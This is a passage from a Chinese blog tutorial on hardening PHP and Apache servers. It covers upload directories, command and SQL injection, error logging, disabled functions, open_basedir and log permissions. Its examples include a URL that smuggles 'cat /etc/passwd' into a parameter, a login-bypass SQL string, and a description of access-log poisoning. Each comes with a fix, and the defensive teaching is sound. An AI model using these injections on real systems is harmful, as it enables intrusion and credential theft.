    把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
    把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。
    严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。
    对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:


    php_flag engine off
    #如果是php3换成php3_engine off

    重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。

    6、命令执行

    下面的代码片断是从PHPNetToolpack摘出,详细的描述见:

    http://www.securityfocus.com/bid/4303

    //test_6.php

    system("traceroute $a_query",$ret_strs);
    ?>

    由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。

    攻击者输入如下请求可以执行cat /etc/passwd命令:

    http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

    PHP的命令执行函数还有system(), passthru(), popen()和“等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

    解决方法:

    要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。

    启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。

    7、sql_inject

    如下的SQL语句如果未对变量进行处理就会存在问题:

    select * from login where user=’$user’ and pass=’$pass’

    攻击者可以用户名和口令都输入1′ or 1=’1绕过验证。

    不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:

    select * from login where user=’1\’ or 1=\’1′ and pass=’1\’ or 1=\’1′

    从而避免了此类sql_inject攻击。

    对于数字类型的字段,很多程序员会这样写:

    select * from test where id=$id

    由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语句,而且 PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。

    解决方法:

    要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
    即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。
    在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 select INTO OUTFILE … 这种攻击。

    8、警告及错误信息

    PHP默认显示所有的警告及错误信息:

    error_reporting = E_ALL & ~E_NOTICE
    display_errors = On

    在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。
    正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

    修改php.ini中关于Error handling and logging部分内容:

    error_reporting = E_ALL
    display_errors = Off
    log_errors = On
    error_log = /usr/local/apache/logs/php_error.log

    然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。

    9、disable_functions

    如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:

    disable_functions = phpinfo, get_cfg_var

    可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。

    10、disable_classes

    这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

    11、open_basedir

    前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说 “open_basedir = /dir/incl” 也会允许访问 “/dir/include” 和 “/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:”open_basedir = /dir/incl/”。
    可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

    四、其它安全配置

    1、取消其它用户对常用、重要系统命令的读写执行权限

    一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld- linux.so.2 /bin/ls这种方式来执行。
    如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,

    2、去掉apache日志其它用户的读权限

    apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。
    如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

    当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

    第 13 页,共 14 页« 最新...1011121314

    CNXCT小组的博客 is Stephen Fry proof thanks to caching by WP Super Cache